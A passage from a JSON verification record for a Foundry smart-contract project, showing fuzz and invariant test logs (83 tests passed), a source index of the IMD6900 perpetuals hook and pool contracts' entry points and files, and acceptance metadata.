|\n|------------------------+------------------------+-------+---------+----------|\n| CustodySequenceHandler | swap                   | 3380  | 0       | 0        |\n|------------------------+------------------------+-------+---------+----------|\n| CustodySequenceHandler | unauthorizedWithdrawal | 3393  | 0       | 0        |\n╰------------------------+------------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 16445\n  Bound result 24576\n  Bound result 1000000000000000000000000000\n  Bound result 10153\n  Bound result 10000000000000001\n  Bound result 17001\n  Bound result 8388608\n  Bound result 1606\n  Bound result 657865209358858808\n  Bound result 999999999990000000000004038\n  Bound result 5000000000000000\n  Bound result 999999999990000000000011996\n  Bound result 10370\n  Bound result 5291\n  Bound result 10445\n  Bound result 44108180610646714384457\n  Bound result 6550\n  Bound result 999999999990000000000014746\n  Bound result 3000\n  Bound result 999999999990000000000012417\n  Bound result 971\n  Bound result 10000000000\n  Bound result 5\n  Bound result 6826\n  Bound result 1494\n  Bound result 3078\n  Bound result 1000000000000000000000\n  Bound result 751574022282484276\n  Bound result 999999999990000000000081849\n  Bound result 9365\n  Bound result 1940000000000000000\n  Bound result 103\n  Bound result 13139\n  Bound result 999999999990000000000011044\n  Bound result 1944148922\n  Bound result 999999999990000000000000035\n  Bound result 20000000000000000\n  Bound result 1023\n  Bound result 198\n  Bound result 19581834555649953\n  Bound result 4663\n  Bound result 760545845228525013\n  Bound result 999999999990000000000212009\n  Bound result 223379558415329202\n  Bound result 513383359613564666196708725\n  Bound result 9143712713052694\n  Bound result 28\n  Bound result 198\n  Bound result 999999999990000001000000001\n  Bound result 4352\n  Bound result 16\n  Bound result 469\n  Bound result 60000000000000000\n  Bound result 999999999990000000000004225\n  Bound result 127\n  Bound result 1224066029\n  Bound result 2406757748\n  Bound result 999999999990000000000700001\n  Bound result 10944\n  Bound result 7000\n\n[PASS] test_HandlerExercisesFeesCompoundingFullExitAndRefill() (gas: 2121789)\nLogs:\n  Bound result 10000000000000000\n  Bound result 1000000000000000000000000\n  Bound result 10000000000000000\n  Bound result 1000000000000000000\n  Bound result 10000000000000000\n  Bound result 10000000000000000000000000\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000000000000\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 5.02s (5.00s CPU time)\n\nRan 14 test suites in 5.02s (7.18s CPU time): 83 tests passed, 0 failed, 1 skipped (84 total tests)\n","passed":true},{"durationMs":61,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMD6900PerpHook.afterAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900PerpHook.afterDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900PerpHook.afterInitialize(address,(address,address,uint24,int24,address),uint160,int24)\",\"IMD6900PerpHook.afterRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900PerpHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"IMD6900PerpHook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900PerpHook.beforeDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900PerpHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"IMD6900PerpHook.beforeRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900PerpHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"IMD6900PerpHook.cancelOwnershipHandover()\",\"IMD6900PerpHook.completeOwnershipHandover(address)\",\"IMD6900PerpHook.flush()\",\"IMD6900PerpHook.lowerFee(uint256)\",\"IMD6900PerpHook.receive()\",\"IMD6900PerpHook.renounceFeeAddress()\",\"IMD6900PerpHook.renounceOwnership()\",\"IMD6900PerpHook.requestOwnershipHandover()\",\"IMD6900PerpHook.setFeeExempt(address,bool)\",\"IMD6900PerpHook.setPerpEngine(address)\",\"IMD6900PerpHook.setPerpFeeBps(uint256)\",\"IMD6900PerpHook.setSkim(uint256,uint256)\",\"IMD6900PerpHook.setSweepFailOpen(bool)\",\"IMD6900PerpHook.transferOwnership(address)\",\"IMD6900PerpHook.updateFeeAddress(address)\",\"IMD6900PerpPool.addFees()\",\"IMD6900PerpPool.addLiquidity(uint256,address)\",\"IMD6900PerpPool.cancelOwnershipHandover()\",\"IMD6900PerpPool.completeOwnershipHandover(address)\",\"IMD6900PerpPool.compound(uint256,uint256)\",\"IMD6900PerpPool.open(address,address,uint160,uint256)\",\"IMD6900PerpPool.receive()\",\"IMD6900PerpPool.removeLiquidity(uint128,address,address)\",\"IMD6900PerpPool.renounceOwnership()\",\"IMD6900PerpPool.requestOwnershipHandover()\",\"IMD6900PerpPool.setFeeSink(address)\",\"IMD6900PerpPool.setHook(address)\",\"IMD6900PerpPool.setPerpEngine(address)\",\"IMD6900PerpPool.transferOwnership(address)\",\"IMD6900PerpPool.unlockCallback(bytes)\"],\"files\":{\".gitignore\":4,\"ADAPTATION.md\":84,\"README.md\":103,\"foundry.toml\":25,\"script/Owner.s.sol\":94,\"src/IMD6900PerpHook.sol\":467,\"src/IMD6900PerpPool.sol\":250,\"src/IMD6900PerpsLaunch.sol\":76,\"test/IMD6900Band.t.sol\":144,\"test/IMD6900Custody.invariant.t.sol\":307,\"test/IMD6900FailurePaths.t.sol\":405,\"test/IMD6900Fees.t.sol\":309,\"test/IMD6900LiquidityAccounting.t.sol\":172,\"test/IMD6900LiquidityMath.t.sol\":114,\"test/IMD6900Perps.t.sol\":230,\"test/IMD6900PerpsLaunch.t.sol\":178,\"test/IMD6900Reference.t.sol\":171,\"test/IMD6900Sweep.t.sol\":215,\"test/README.md\":33,\"test/RobinhoodFlow.fork.t.sol\":299},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"97c36a8a82c72aabf7a679137c6856bbb55f45bbe4959421635da639893eacd8","verifiedTreeHash":"6918665ef244b591b8ea8dd29551cd105dc2a90f","verifierVersion":"0.1.0+fdeb4d4a"}]}